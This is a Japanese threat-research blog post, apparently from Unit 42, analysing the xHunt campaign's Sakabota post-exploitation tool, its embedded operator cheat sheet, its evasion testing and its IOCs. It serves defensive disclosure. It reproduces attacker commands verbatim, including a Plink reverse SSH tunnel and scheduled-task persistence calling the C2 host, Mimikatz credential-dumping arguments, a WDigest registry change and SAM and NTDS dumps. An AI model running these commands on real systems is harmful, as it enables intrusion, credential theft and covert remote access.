This post is also available in: English (英語)
概要
Unit42はこれまで数ヶ月かけて在クウェート組織に対するxHuntの攻撃キャンペーンを調査してきました。この調査の結果、最近、Sakabotaツール(以前、xHuntキャンペーンについての記事で言及)を作成した開発者が、同ツールの検出回避を狙い、2018年の7月と8月に2回、テスト活動を実施していた証拠が、見つかりました。
これらテスト活動で開発者は同ツールのコード ベースをわずかに変更し、複数の亜種をコンパイルした上で、これら亜種を一つ一つオンラインのアンチウイルス スキャン サービスに送信し、ツールを検出するベンダを特定していました。Sakabotaという名前は、「るろうに剣心」というアニメに出てくる逆刃刀(さかばとう)という名前の剣を参考にしているようです。この名前は、2019年のxHuntキャンペーンで確認されたアニメをテーマにしたツール名とも合致します。
パロアルトネットワークスでは、開発者がテスト活動で作成したSakabotaのサンプルを解析し、ツール内に組み込まれているチート シートを発見しました。
このチート シートは、侵害されたシステムおよびネットワークに対する活動をツールのオペレータが実行できるように支援するためのものとみられます。侵害されたシステムおよびネットワークに対する活動をオペレータが実行できるように支援するために、コマンドの事例をまとめたチート シートをマルウェア開発者が組み込んでいるのを目にするのは、これが初めてでした。このチート シートがツールに組み込まれていることから、Sakabotaツールの開発者とオペレータは別にいることが推測できます。
このチート シートには、持続的攻撃、ネットワーク偵察行為、ピボット、資格情報のダンプ、一般的なシステムおよびネットワークのデータ収集、データ漏出に必要なコマンドに加え、リモート デスクトップ プロトコル(RDP)セッションを可能にするようにシステムを設定するためのコマンド例が含まれています。これらのコマンドからは、システム侵害後に攻撃者がとる手法や、目的達成に使うツールに関する洞察が得られます。また、これらのコマンドは、侵害されたホストと対話するうえで脅威グループがRDPに大きく依存しているということを示唆しています。おそらく、感染システムと攻撃者の制御するドメインとの間に、Plinkツールを用いて作成されたセキュア シェル(SSH)トンネルが使用されています。また、このコマンド例からは、脅威グループは侵入済みネットワーク内で横展開をはかることで新たなデバイスを標的とすることもわかります。ここから、一度感染してしまえば組織にとって非常に大きな脅威となることがわかります。これらのコマンド内容からすると、攻撃者はWindowsのレジストリやプロセス メモリから資格情報をダンプし、それらの情報を軸足として他のシステムへの展開をはかる可能性が高いものと思われます。
コマンド例の中には、ドメインやIPアドレスを含むものもあり、うちの1つは、脅威グループがCASHY200ペイロードを配信する際に使用したドメインと重複しています。このCASHY200ペイロードは、firewallsupports[.]comをコマンド&コントロール システム(C2)として用いて構成されています(xHuntに関する以前のブログを参照)。チート シートは、攻撃者がスケジュール タスクを使用して持続的攻撃を行うことも示唆しています。つまり、チート シートにはスケジュール タスク名が1つ含まれており、それは前述のCASHY200ペイロードで持続的攻撃に使用されていたものです。
Sakabotaツールの全機能を含む分析(具体的にはバージョン1.4)を付録に掲載しています。
Sakabotaのテスト
xHuntの調査の過程でSakabotaのサンプルを収集していたさい、2018年7月から8月にかけてコンパイルされたサンプルを私たちは入手しました。これらサンプルは2回のテストで開発者が作成したもので、2018年7月21日と23日に初回のテスト活動が、同年8月6日と7日に2回目の活動が実施されていました。他の脅威グループが実施したテスト活動を分析する場合はかなり細かい変更点について説明することが多いですが、ここではそれぞれの繰り返しの中で行われた小さな変更についてではなく、テスト活動のより高レベルの概要について説明したいと思います。
初回と2回目のどちらのテスト活動でも、開発者は小さな変更を繰り返す処理を行っていました。たとえばコードベース自体にわずかな変更を加えたり、違う種類の難読化ツールを使用すると、Sakabotaツールの検出率にどのような影響を及ぼすのかを、いずれのテスト活動でも繰り返し確認しています。コードベースや難読化ツールの変更のほかに、開発者はSakabotaツール内の埋め込みリソースも変更し、このリソースが検出要因になっていないか判定しています。7月23日に実施された初回テストの最終サンプルから8月6日に実施された2回目のテストの最初のサンプルまでに加えられた変更内容にかんがみて、これら2回のテストは2つの別々のテストではなく、2週間の間を空けた1回の連続するテスト活動と考えられます。
初回テストでは、最も古い既知のバージョン(具体的には1.4.0.0)のSakabotaで開始し、最終的に新しいバージョン1.5.0.0になりました。2回目のテストでは、Sakabota 1.5.0.0が開始時のバージョンで、終了時は1.6.0.0になりました。この2回のテストを通じ、開発者はさまざまな暗号化ツールと難読化ツールをテストしています。「Confuser」、「ConfuserEx」、「CodeVeil」、そして2つの異なるバージョンの「.NET Reactor」です。最終的に、2回目のテストの段階で、開発者は「.NET Reactor」の1バージョン(おそらく4.8か4.9)の検出率が最も低くなると判断しました。その結果、このバージョンの「.NET Reactor」をテスト活動の残りの部分で引き続き使用するという結論に至っています。
コードベースへの変更および各種の難読化ツールのテストに加え、サンプル内に埋め込まれたリソースに対しても変更または削除が行われました。リソースに対する最も興味深い変更は、7月に実施されたテストの最初の繰り返しで行われています。ここで、開発者は、当初攻撃者用のチート シートを含むテキスト ファイルだった「k」リソースを、バイト オーダー マーク(U+FEFF)しか含まれない空白の文書に変更しました。
Sakabotaのチート シート
Sakabotaに関連するテスト活動の分析時に、最も古い既知のサンプル(SHA256:
5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae)に「k」というリソース名が埋め込まれていました。このリソースには一目でツールの使用法とわかるテキストが含まれていましたが、さらに調査してみると、標的となるシステムおよびネットワークへのアクセス権を得た後にさまざまな活動を実行する方法を、Sakabotaを使用するオペレータ向けに解説したチート シートであることがわかりました。このチート シートでは、侵害されたシステムへのアクセス権を獲得した後にSakabotaを使用する攻撃者が用いるツールおよび手法に関して、かつてないほどの洞察が得られました。チート シートのコマンド例の中にはドメインとIPアドレスも含まれていましたが、これは、これらのネットワーク アーティファクトがこの脅威グループのインフラストラクチャに属するという弊社の分析を裏付けるものです。
このチート シートにアクセスするには、オペレータはSakabotaのGUIにある「Knoldege」ボタンをクリックします。そうすると、このボタンのすぐ横にあるスクロール型のテキスト ボックスにチート シートが表示されます。図1に、SakabotaのGUIを示します。「Knoldege」ボタンをクリックしてチート シートが緑色のテキストで表示されている状態です。
チート シートは、コマンド例の目的に基づき、複数のセクションに分割されます。都合のいいことに、チート シートに列挙されているコマンドによって、攻撃者がエンド システムを侵害した後に使用する可能性のあるツールおよび手法に対して、多くの洞察が得られます。チート シートには、重要なバッチとPowerShellスクリプティング、RDP使用時の設定、およびWindowsでネイティブに提供されていないツール(thc-hydra、Plink、Mimikatz、Powercat、ProcDump、SharpHound/BloodHound、PowerSploit)が示されます。表1に、チート シート内の各セクションの見出しと説明を示します。
セクションの見出し | 説明 |
Hydra | thc-hydraツールを実行して、ユーザー名とパスワードの組み合わせを記載したテキスト ファイルを使用し、単一のIPアドレスに対してRDPログインのブルート フォース攻撃を行う方法に関するコマンド例を提供します。 |
Pass The Hash | Mimikatzを使用してリモート システムにコマンドを実行する場合にハッシュを渡すのに必要な2つの引数の例を提供します。どちらの例のコマンドもPsExecツールを使用して、リモート システムで「cmd.exe」を実行します。 |
WMIC with Bat | Windows Management Interface Command (WMIC)で引数を指定して、ユーザー名とパスワードを用いる「process call create」を使用したバッチ スクリプト(「c:\temp\a.bat」)を実行する例を提供します。 |
Plink | Plink (PuTTY Link)を使用してリモート システムとローカル システムの間にSSHトンネルを作成するコマンド ライン コマンドの例を提供します。攻撃者は侵害されたシステムにリモート デスクトップ(RDP)を経由してリモートでアクセスできるようになります。このコマンドを実行すると、リモート システム(2つの例では、TCPポート25上の「pasta58[.]com」および「176.9.235[.]101」)に接続し、これらのリモート システムに対してユーザー名「bor」とパスワード「123321」を使って認証を行うよう、Plinkに指示が出されます。コマンド例では、アプリケーション名として「svphost」を使用していますが、これはSakabotaがPlinkをシステムにインストールする際に使用するものと同じファイル名(svphost.exe)です。 |
LSASS Process | ProcDump、Mimikatz、PowerSploitのOut-Minidump関数を使用して「lsass.exe」プロセス メモリをダンプする5つのコマンド例を提供します。2つのコマンドは「c:\mydump.dmp」にあるファイルにコンテンツだけをダンプします。これに対し、別のコマンドは「lsass.dmp」という名前のファイルにメモリを保存します。 |
WDigest | 「reg」アプリケーションを使用してWDigestレジストリ キー「UseLogonCredential」(資格情報をメモリ内に平文で格納するかどうかを指示)を照会および変更するコマンド ライン コマンドを提供します。このキーを「0」に設定することは、Mimikatz資格情報のダンピングに対する推奨の緩和策です。「reg」コマンドでこのキーを「1」に設定して有効にする操作がチート シートに示されているのは、そのためだと考えられます。 |
Powercat | クライアントとサーバーの両方でPowerShellツールpowercatを使用してリモート シェルの作成とファイル転送を行うコマンド例を提供します。コマンドが接続するリモート システムは、TCPポート443上の「pasta58[.]com」および「213.202.217[.]31」です。また、このセクションでは、リモート シェルを「pasta58[.]com」に作成する前に「hxxp://pasta58[.]com/pk.txt」からpowercatをダウンロードし、結果を「c:\users\public\pc.ps1」に保存するPowerShellコマンドの例も提供されます。 |
Ntds | 「reg」アプリケーションおよびMimikatzの「lsadump::sam」コマンドを使用してSecurity Account Manager (SAM)レジストリ ハイブを保存するコマンド例を提供します。チート シートのこのセクションには、「CMD5.org」へのログイン資格情報も含まれており、レジストリ ダンプ ファイルから抽出したハッシュを攻撃者がクラックする場合に使用されると考えられます。 |
taskch | スケジュール タスクを削除、作成、実行するコマンド例を提供します。例に示すスケジュール タスクには、「WindowsUpdateTolkit」および「WindowsUpdateTolkit_1」という名前があり、「SystemRecoverytolkit.ps1」および「TempSystemRecovery.vbs」を実行します。「WindowsUpdateTolkit_1」以外はすべて、xHunt関連の攻撃においてCASHY200ペイロードの持続性を確保するために使用されたものです。 |
Download from CMD | 「hxxp://pasta58[.]com/r.t」からファイルをダウンロードし、「c:\windows\temp\temp\run.bat」に保存するPowerShellコマンドを提供します。 |
FTP Powershell | ログイン ユーザー名「admin」とパスワード「sak」を使用してファイル「C:\users\public\P.txt」を「ftp://pasta58[.]com/P.txt」にアップロードするPowerShellコマンドを提供します。 |
FTP From CMD | echoを使用して「ftpcmd.dat」という名前のファイルを作成するコマンド ライン コマンドを提供します。このファイルには、「pasta58[.]com」でFTPサーバーにログインするために必要なコマンドが含まれています。ユーザー名に「administrator」、パスワードに「QwErTyUiOp123456」を使用して「TRR.txt」という名前のファイルをアップロードします。 |
FireWall | 「netsh」アプリケーションを使用してローカルのWindows Firewallに対するルールの追加、削除、表示を行う6つのコマンド例を提供します。このコマンド例には、Plinkセクションで説明した「svphost.exe」に保存されるPlinkアプリケーションへのインバウンド ネットワーク トラフィック、およびTCPポート22上でのインバウンド トラフィックを許可するルールの作成が含まれます。 |
RDP NLA | RDP用のネットワーク レベル認証(NLA)を無効にするPowerShellコマンドを提供します。このコマンドではWMIを使用して「SetUserAuthenticationRequired」メソッドを呼び出し、「Win32_TSGeneralSetting」の「UserAuthenticationRequired」プロパティを無効にします。NLAでは、ユーザーはサーバーとのRDPセッションの作成前に認証を求められるため、Plinkで作成したトンネル上でのRDPセッションを可能にするために、攻撃者はNLAを無効にするものと考えられます。 |
RDP Port | 「reg」アプリケーションを使用して「hklm\system\currentControlSet\Control\Terminal Server」のキーに対してレジストリ値の照会および追加を行うコマンド例を提供します。チート シートでの照会を使用する場合、攻撃者はRDPで使用されるポート番号を表示することに加え、「AllowTSConnections」の設定が有効でRDPセッションが許可されるかどうかを表示できるようになります。チート シートには、レジストリ キー「AllowTSConnections」と「fDenyTSConnections」に値を追加してRDPセッションを有効にする2つの「reg」コマンドもあります。 |
WinRAR | 再帰的にフォルダーをアーカイブするWinRARコマンド ライン コマンドを提供します。この例の1つでは、153,600KBのファイルに分割されたマルチボリュームのRARアーカイブが出力されます。 |
DB | 未知のデータベースのナビゲーションに関連する各種のSQLクエリを含めます。テーブルおよび列の名前に基づき、これらの照会によって顧客情報および呼詳細レコード(CDR)の抽出を試みるものと思われます。電気通信分野に関連がありそうです。 |
Get Users | Local.exeおよびDsquery.exeツールを実行して指定されたリモート システムまたはドメインからユーザー情報を収集するためのコマンドを提供します。 |
Scan For | ローカル サブネット(具体的には、/24)をスキャンする場合にループで使用する3つのコマンドを提供します。pingリクエストに応答するシステムを検索するコマンド、「net use」アプリケーションでユーザー名に「administrator」、パスワードに「P@ssw0rd」を指定してファイル共有を確認するコマンド、「C:」ドライブが共有されているシステムを「dir」コマンドで確認するコマンドです。 |
Route Print | このセクションは空白でした。 |
Scripting | 2つの「スクリプト」を提供します。1つは「c:\test.txt」から場所を読み込むスクリプトです。反復処理を行い、「ping」コマンドの引数として使用します。もう1つのスクリプトは"www.google.com"に対してpingを実行し、文字列「Reply」の応答を確認します。 |
Base 64 | 「certutil」アプリケーションおよび「-encode」と「-decode」を使用して「test.exe」を「test.txt」に変換する(その逆も同様) 2つのコマンドを提供します。 |
Pantest | 関心のあるwebサーバーを見つけ出すために攻撃者が使う可能性の高い、Google検索演算子が含まれます。検索演算子には、「site」(.sa、.kw、.ph、.ir用)、「ext」(asp、aspx、php、jsp用)、「inurl」(loginおよびadmin用)、「intext」(—、Mysql_num_rows、Apache/2.4.12 (Win32) OpenSSL/1.0.1m PHP/5.6.11用)が含まれます。このチート シートでは、XAMPPサーバーに特に注力したSQLインジェクション手法の例もいくつか提供されます。 |
表1.Sakabotaのチート シート内にあるセクションとその内容の説明
チート シートには具体的な見出しはありませんが、PowerShellを使用したSharphound (BloodhoundツールのC#亜種)の実行方法を説明するコマンド例が含まれています。Bloodhoundはオープンソースのツールであり、Active Directory環境でのオブジェクト間の関係性を発見するのに使用されます。レッド チームのメンバーの多くがBloodhoundを使用して、侵害されたネットワーク上の制御されたアセットから目的地までの攻撃経路を決定します。コマンド例での特定の引数によって、Bloodhoundで以下の収集メソッドを使用するよう指定します。
- ACL – ACL (アクセス制御リスト)データを収集
- ObjectProps – ユーザーおよびコンピューター用のノード プロパティ情報を収集
- Default – Group Membership、Local Admin、Sessions、Domain Trustsを収集
これらのコマンドがチート シートに含まれていることから、攻撃者がBloodhoundを活用する理由もレッド チームのメンバーと同じだということがわかります。具体的には、ネットワークへのアクセス権を得た後の攻撃経路の決定です。攻撃経路により、攻撃者は注力すべきシステムおよびアカウントを決定して、最終的には目的の達成に必要なシステムおよびアカウントへのアクセス権を獲得できます。
チート シートには、以下のドメインおよびIPアドレスも含まれていました。これらは、弊社が脅威攻撃者のインフラストラクチャに結びつけるコマンド例と関係があります。
- pasta58[.]com
- 176.9.235[.]101
- 213.202.217[.]31
IPアドレス213.202.217[.]31は、2018年7月の攻撃において、CASHY200ペイロード(xHuntに関する以前のブログを参照)をインストールする配信文書のホスティングに使用されたドメインdl.kcc.com[.]kwを解決しました。IPアドレス176.9.235[.]101は、Sakabota C2ドメインとして知られるpasta58[.]comによって解決されました。また、このIPアドレスとドメインがオートコンプリートのエントリとしてSakabotaのGUIの特定のフィールド内に含まれていることも観測されています(付録を参照)。そのエントリには、以前にpasta58[.]comに解決されたIPアドレス23.227.207[.]233も含まれています。これによって新しいインフラストラクチャが提供されることはありませんが、インフラストラクチャ内のこれらのエンティティ間の関連付け、および関係する脅威攻撃者とのつながりが強化されます。
結論
xHuntキャンペーンに関連するツールの調査を通じて、この攻撃キャンペーンに関わる開発者がテスト活動を実施していることが明らかになりました。このテスト活動の間に弊社が発見したSakabotaのサンプルには、オペレータ向けのチート シートが含まれており、脅威攻撃者に関連する可能性の高いツール、策略、手法に関する重要な情報が記述されていました。ツールの各種機能をオペレータが理解できるよう支援するためにツールに使用法を組み込むマルウェア開発者はとくにめずらしくありません。しかし、コマンド例のチート シートを組み込んで、侵害されたシステムおよびネットワークへの攻撃の実行についてオペレータを支援するマルウェア開発者というのは初めてです。このチート シートからは、攻撃者がシステムに対して実行する可能性の高いツールおよびコマンドに関するかつてないほどの洞察、さらには攻撃者のインフラストラクチャ内にあるネットワークの場所に関連する情報も得られました。
パロアルトネットワークスのお客様は、以下に示す方法で本稿に説明したツールから保護されています。
- AutoFocusをご利用のお客様は、Sakabotaタグを使用することによって、この活動を見ることができます。
- C2ドメインpasta58[.]comは、Threat PreventionおよびURLフィルタリングにおいて「悪意がある」ものとして分類されています。
- 特定されているSakabotaのサンプルはすべて、WildFireおよびTrapsによって「悪意がある」ものとして検出されます。
付録
IOC
Sakabotaインフラストラクチャ
- pasta58[.]com
- 176.9.235[.]101
- 213.202.217[.]31
- 23.227.207[.]233
Sakabota SHA256
- 7cfd75ab4822b489f74e83d3046536509c44b29b72b43125b0eca1fe449b5953
- 5b5f6869d8e7e5746cc9bec58694e4e0049aef0dcac5dfd595322607ba10e1ae
- 335e9eb0bb571ca81cc6829483f0b8d015627f8301373756d04d844cde04918d
- 40b18a1c06888f8e116b6de21f70359b9763b8066c764542ff3816c118b7d482
- 8e18b28dc7351b0e7928b0f5373a6e987ba6d084d84bfd0b29e7f458ca5401e5
- ea31e5afec3b94635e98473183ec420e9c3e6fd13b618dadb5b34bf5c257a5aa
- 66e57d2909e37d39791bee91eb9e8121aa48ea89eae8a09275ae078e9dda2f50
- 2d7ff8d3aee31cd2f384d74e6b0f07ecda2cea860fb3210c9afe66bc7cc6f90b
- df0f874219ffac8038290eb4a39ba6686edc35de8913563f8ddc9644ad4bde64
- d0f57e566c6b457d6e97dc02266d67d81ef561fba50a86e9f9fc889dc5167068
- d80aeb4fb326af0bf1179c4fcf2ad01cf98ddab81f709e690bbd728c027064e9
- cc21bc11d9aed226e9c511480e54bb1305cea086ab0b5e310de68228debdc80e
- bf7a448ef2603cce5488d97474c913ba14c9550d03cc5e387fe31eb416dc0259
- 161cfe70ea0022ef7aefffba93b3958ab09d7df6e61cc88d1c27e4917f554de4
- 224539e69c184d75ac59378ecab7914bcbe360310bb82add395d59e9e11d1419
- b9c56da9e911dc85b06f8dc9d1a486663af8f982511e1c3ad568e635e2323274
- 9a431838f2613454c5630a5f186f0aee240dfc5723bd6e1b586bb4118cc3aab7
- db1f460f624a4c13c3004899c5d0a4c3668ba99bb1e6be7f594e965c637b6917
- b73facbf55053519b5da29397cfd3beea519e9f1bd41c50b6c2f3f1b4eca15a3
- 761635c23f3c98a8d18e48c767fff2b0ec321b58064b404ea1b2b4a555913296
- 47ca763da840fdee68b97e8d53cbc56b3f90e4d6532f0b1501b90175b8fca24f
Sakabotaツール
Sakabotaツールを使用することで、xHuntキャンペーンに関わっている脅威攻撃者は、ネットワーク偵察行為、資格情報ダンピング、発見されたシステムとの対話など、エクスプロイト後の活動を実行できるようになります。xHuntキャンペーンで確認された他のツールと同様に、Sakabotaツールはコマンド ラインまたはGUI(グラフィカル ユーザー インターフェイス)から使用できます。ここでは、コマンド ラインおよびGUIから利用可能なSakabotaの機能について説明します。両者で提供される機能は大きく異なります。弊社はこの活動を観察したわけではありませんが、推測では、攻撃者はコマンド ライン インターフェイスを使用してシステム侵害後の最初のデータ収集を行い、RDPセッションを確立するためのトンネルを作成します。RDP経由でシステムに接続した後、攻撃者はSakabotaのGUIを使用してSakabotaの強化された機能を利用すると思われます。
コマンド ラインの機能
攻撃者は、コマンド ラインの引数を指定してSakabotaのコマンド ライン インターフェイスを使用できます。それ以外の場合は、コマンド ラインの代わりにGUIが表示されます。Sakabotaの開発者は使用法を組み込んでおり、攻撃者は-helpスイッチを指定することで参照できます(図2を参照)。
-Upコマンドを実行すると、ハードコードされたC2ロケーションftp://www.pasta58[.]com/<ファイル名>に、FTPプロトコルを使用して、ファイルまたはフォルダーのファイルがユーザー名Administrator、パスワードMono8&^Ujでアップロードされます。
-Tanboコマンドを実行すると、NirSoftが提供する組み込みのNirCmdアプリケーションが現在のディレクトリのSC.exeに書き込まれ、このツールを使用してシステムのスクリーンショットが作成されます。スクリーンショットは、Screen_<コンピューター名>_<ユーザー名>.pngという名前で現在のディレクトリに保存されます。-Tanbo-upコマンドでは同様のスクリーンショット活動が実行されますが、-Upコマンドと同じ資格情報、さらにはFTPを介してファイルがC2にアップロードされます。また、スクリーンショット ファイルがシステムから削除されます。
攻撃者は-Shurikenコマンドおよび-Shuriken-vコマンドを使用して、開いているTCPポートに対応する23.227.207[.]233のリモート システムをスキャンできます。また、ステートフル ファイアウォールからのアウトバウンドを許可するTCPポートを判断できる可能性が高くなります。-Shurikenコマンドでは、TCPポートのリストがスキャンされます。具体的には、123、443、80、81、23、21、22、20、110、25がスキャンされます。一方、-Shuriken-vコマンドでは、スキャンするTCPポートを攻撃者が指定できます。IPアドレス23.227.207[.]233は、Sakabotaサンプルで使用されるC2ドメインpasta58[.]comに解決されます。
-Revコマンドによって、組み込みのPuTTY Linkツール(Plinkとしても知られている)がc:\users\public\svphost.exeに保存されます。このコマンドでは、このツールおよび以下のコマンド ライン引数を用いて、リモートのRDPセッションを攻撃者がシステム上に作成できるようにするためのSSHトンネルが作成されます。
svphost pasta58[.]com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <コマンド ラインで指定されたTCPポート>
–Rev-loopコマンドは、update.windowsという名前のスケジュール タスクを以下のコマンドで作成することによって、リモートのRDPセッションを10分おきに開始するために継続的なSSHトンネルの作成を試みます。
schtasks /create /sc minute /mo 10 /f /tr "cmd /c cd c:\users\public & echo y | svphost pasta58.com -C -R 0.0.0.0:1991:127.0.0.1:3389 -l bor -pw 123321 -P <TCP port provided on command line>" /tn update.windows /ru SYSTEM"
GUIの機能
SakabotaツールをGUIから使用すると、攻撃者はさらに多くの機能を利用できます。Sakabotaの開発者は他者によるツールの使用を制限する必要があり、パスワード画面を追加しました。この画面で攻撃者がパスワードを入力することで、SakabotaのGUIによる機能が使用可能になります。図3にSakabotaのパスワード ダイアログを示します。このダイアログには「Snapping Tool」というタイトルが付き、パスワード「92」が必要です。どちらも、xHuntの初めてのブログの付録で説明したGonツールと同じです。
正しいパスワードを入力すると、Sakbotaのメイン インターフェイスが表示されます(図4を参照)。Sakabotaのメイン インターフェイスのウィンドウ タイトルは「Sakabota —>」で始まり、後にシステム情報が続きます。システム情報にはドメイン名、コンピューター名、ユーザー名、インターネット アクセスの有無が含まれます。パスワード画面と同じように、ウィンドウ タイトルの構造はGonツールと非常によく似ています。Gonツールのウィンドウ タイトルは文字列「xHunter —>」で始まり、Sakabotaにはインターネット接続のブール値が含まれます。
Sakabotaのメイン インターフェイスはタブを使用した設計になっており、各タブには異なる機能が含まれています。すべてのタブに共通するのは、インターフェイスの下部にある複数のボタンと追加のシステム情報です。例えば、システムのローカルIPアドレスやDNSサーバーのIPアドレス、さらには現在システムにログインしているユーザー名などがあります。このエリアには、攻撃者がクリーンアップおよび自己破壊アクションを実行し、何らかの一般的な設定を適用するために使用するボタンが複数あります。表2に、ボタンの一覧と各ボタンの機能の説明を示します。
ボタン | 説明 |
Clear Tracks | レジストリ キーを削除することによって、攻撃者の活動をクリーン アップします。対象のレジストリ キーには、最近のRDP接続の履歴 ("Software\Microsoft\Terminal Server Client\Default")、 最近のアプリケーションの実行履歴 ("Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU")、 Windows Explorerに最近入力したパスの履歴("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TYPEDPATHS")、 最近の検索語の履歴 ("SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery") があります。 |
RDP SC | Default.rdpファイルにenablecredsspsupport:i:0と書き込むことによって、RDPセッションのCredSSPが現在の資格情報を使用してリモート システムへの認証を実行できるようにします。 |
R | エクスプローラー ウィンドウを開き、スキャンおよびその他のコマンドの結果ディレクトリを示します。 |
Knoldege | ボタンのすぐ横にあるテキスト ボックスに、攻撃者のチート シートを表示します。 |
# | 「Personal Use」というオプションの有効/無効を切り替えます。このオプションは、検出を回避するためにSakabotaのユーザー インターフェイスを非表示にする非アクティブ タイマーを有効/無効にします。 |
@ | 「Clear Tracks」ボタンと同じ機能を実行することによって、Sakabotaの終了および攻撃者のクリーンアップを行うRDP中断機能を有効にします。さらに、コマンド結果を保存するフォルダーおよびSakabotaツール自体を削除します。 |
( | サイレント モードの有効と無効を切り替えます。また、有効な場合、スキャン結果をファイルに保存するかどうかをユーザーに尋ねます。 |
Hara-K | 自己破壊メカニズムです。Sakabota実行可能ファイルが終了前に削除されます。「Harakiri」の短縮形であり、日本語で「自殺」を意味する用語です。 |
表2.Sakabotaのメイン インターフェイスの下部にあるボタン
図4に示す「Info」タブには、特にネットワーク上のシステムからの情報収集に注力した機能が複数あります。このタブでは、攻撃者は組み込みの「dsquery」ツール(SHA256:
4c8c4e574b9d1dc05257a5c17203570ff6384d031c6e6284fbc0020fe63b719e)
を使用できます。このツールからActive Directoryを照会して、ドメインに接続されているコンピューター、ユーザー、グループに関する情報を収集します。また、RDP、SMB、FTP、HTTP(s)、telnet、SSHなどの特定のサービスのIPアドレスをスキャンすることもできます。さらに、指定したネットワーク範囲にあるシステムに対してTCPポート スキャンを実行し、net useコマンドを使用してリモート システムに接続できます。最後に、攻撃者はLocal.exe (SHA256: 450ebd66ba67bb46bf18d122823ff07ef4a7b11afe63b6f269aec9236a1790cd)という正当なMicrosoft製ツールをインストールできます。このツールを使って、ローカル ネットワーク上で指定したIPアドレスにある管理者アカウントを一覧表示します。
Sakabotaの「Remotes」タブ(図5を参照)では、リモート システムと対話する機能が攻撃者に提供されます。まず、このタブでは、Windows Management Instrumentation (WMI)を使用してリモート システムにコマンドを実行できます。攻撃者は「Code」テキスト ボックスに目的のコマンドを指定します。「Code」テキスト ボックスにはオートコンプリートの入力候補が表示されるので、ユーザーおよびネットワーク インターフェイスに関する情報収集など、開発者が攻撃者に実行してほしいコマンドがわかります。ただし、オートコンプリートの入力候補に表示される以下のコマンド(Whoamiおよびquery userを除く)にはエラー(スペースが不足している、余分なスペースがある)が含まれます。あるいはこれらのコマンドは無効なコマンドであり、実行するとエラーとなり、アプリケーションが正しく動作しない可能性があります。
Whoami
ipconfig/all
query user
net stat -na
Screen Shot
このタブの「PSEXEC」セクションでは、攻撃者は組み込みのPSExecツールをシステムにインストールし、提供される資格情報を使用してリモートシステムに接続できます。「Remote」ボタンをクリックすると、PSExecのコマンド プロンプト プロセスがリモート システムで起動します。一方、「Clean」ボタンをクリックすると、PSEXESVC.exeを実行しているプロセスを強制終了し、この実行ファイルをリモート システムから削除します。「PLink」セクションでは、組み込みのPuTTY Link (PLink)ツール(SHA256:
04e5f50dd90d5b88b745ef108c06a3ef1e297018cb3fe8acc80dd55250dfee68)をシステムにインストールし、システムとTCPポート3389上の外部サーバーとの間にSSHトンネルを作成できます。攻撃者はこのトンネルを使用して、RDPを使用する非インターネット向けシステムに接続するものと思われます。Sakabotaでは、「As_backdoor」ラジオ ボタンを使用すると、20分おきにトンネルの作成を試行するupdate.windowsという名前のスケジュール タスクが作成されます。これに対し、「As_System」ラジオ ボタンを使用すると、午前12:00に1回実行するmytaskという名前のスケジュール タスクが作成されます。攻撃者はSakabotaによるトンネルの作成に使用するサーバーの場所を「Server IP」ボックスに指定します。開発者はオートコンプリート オプション内に以下の場所を含めました。
- 176.9.235[.]101
- pasta58[.]com
「Remotes」タブの「PASS THE HASH」セクションは、ツールがpass-the-hash手法を用いてリモート システムへの認証を試行することを示唆しています。しかし、ツールにはこれらのテキスト ボックスを使用する機能コードはなく、「Pass」ボタンをクリックする場合、イベント処理は何も行われません。
Sakabotaの「Passwords」タブ(図6を参照)には、システムからの資格情報のダンピングに特化した機能があります。このタブの「MIMI」セクションを使用すれば、攻撃者は提供されたmimikatz実行ファイルをロードし、引数「log privilege::debug sekurlsa::logonpasswords exit」を指定して実行できます。「Digest」ボタンをクリックすると、Mimikatzに対する緩和策を回避できます。攻撃者は以下のレジストリ キーを「1」に設定することで、メモリに資格情報を格納するようWindowsに指示を行います。
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
「SAM」セクションでは、SAMハイブをレジストリからダンプできます。攻撃者は、提供されたMimikatzツールを使用して引数「log privilege::debug token::whoami token::elevate lsadump::sam exit」を指定するか、以下の2つのコマンド ライン コマンドを実行します。
Reg save hklm\sam <指定されたフォルダー名>\sam
Reg save hklm\system <指定されたフォルダー名>\system
「NTDS」セクションではドメイン コントローラーのコピーが得られます。攻撃者は、「ntdsutil」アプリケーションを使用してインストール メディアを作成します。弊社では、攻撃者がこの手法を用いて、盗み出すドメイン コントローラーのクローンをバックアップおよびオフライン処理の目的で作成していることを確認しています。攻撃者は出力を保存するフォルダーを選択し「SnapShot」ボタンをクリックします。そうすると、以下のコマンドが実行され、ドメインコントローラーのスナップショットが作成されます。
ntdsutil "activate instance ntds" ifm "create full <攻撃者が指定するパス>\ntds" quit quit
「File MNG」タブ(図7を参照)では、攻撃者はファイル システムとの直接対話を通じて、ファイルおよびフォルダーのRARアーカイブを作成し、特定のファイルをFTPでC2にアップロードできます。「RAR」セクションでは、ファイルをアーカイブするフォルダーを選択できます。攻撃者はまず、組み込みの「rar.exe」(SHA256: ea139458b4e88736a3d48e81569178fd5c11156990b6a90e2d35f41b1ad9bac1)を「R.exe」としてシステムに保存し、「cd <「Read」テキスト ボックス> & R.exe a -r -v <「Size」テキスト ボックス> <「Write」テキスト ボックス>」を実行します。「File MNG」タブの「FTP」セクションでは、システムからファイルを選択し、「pasta58[.]com」でホスティングされているC2サーバーにFTPでアップロードできます。表3に、「FTP」セクションの各種ラジオ ボタンおよびチェックボックスを選択した場合に有効になる機能を示します。「B64」セクションでは、システム上のファイルをbase64エンコードおよびデコードできます。ただし、この機能は正しく動作していないようです。ドロップダウンには、「CERT」と「STD」の2つのオプションがあります。「CERT」は正当なMicrosoft製「certutil」アプリケーションを使用してファイルのエンコードまたはデコードを実行します。これに対し、「STD」はSystem.Convertクラス内のToBase64StringおよびFromBase64Stringメソッドを使用します。「STD」オプションで「Encode」ボタンと「Decode」ボタンに完全に同じコードが使用されている場合、「CERT」と「STD」のどちらのオプションも正しく動作しません。「STD」メソッドは非常に興味深いものです。「Encode」ボタンと「Decode」ボタンはどちらもToBase64Stringメソッドを呼び出すことによってファイルのコンテンツを読み込み、エンコードしますが、エンコードされたコンテンツ上にFromBase64Stringをすぐに呼び出します。その結果、ファイルの平文が効果的に生成されます。開発者によるコーディング エラーのように見えるため、この機能の目的について、正確なところはわかりません。
チェックボックス | 説明 |
